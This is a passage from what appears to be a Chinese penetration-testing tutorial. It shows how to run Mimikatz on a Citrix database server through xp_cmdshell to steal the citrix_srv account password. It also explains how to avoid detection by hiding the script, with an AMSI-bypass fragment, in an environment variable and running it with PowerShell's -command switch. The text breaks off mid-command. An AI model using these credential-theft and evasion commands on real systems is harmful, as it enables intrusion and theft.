12、网络渗透与安全绕过：从密码窃取到MDE突破

网络渗透与安全绕过：从密码窃取到MDE突破

1. 执行脚本获取密码

在解决了Defender的问题后，我们回到最初的计划：在Citrix数据库上运行Mimikatz以获取citrix_srv的密码。通常，在数据库上远程执行脚本的方法是先将脚本进行Base64编码，然后通过xp_cmdshell使用以下命令启动：

Sql> EXEC xp_cmdshell "powershell.exe -enc <encoded_script>"

然而，由于许多恶意软件程序广泛使用此方法，该命令已成为明显的危险信号，受到许多安全产品的积极监控。因此，我们采用另一种技术来实现相同的结果。

我们不将脚本存储在文件、注册表中或进行Base64编码，而是使用 set 命令将其存储在远程数据库的环境变量中：

PS X:\> $command="set cmd=$utils=[ref].Assembly.Get[...];Invoke-Mimikatz;"

然后，从PowerShell中检索此变量并使用不太可疑的 -command 开关执行其内容：

PS X:\> $command= $command + ' && powershell -command "(get-item Env:cmd).v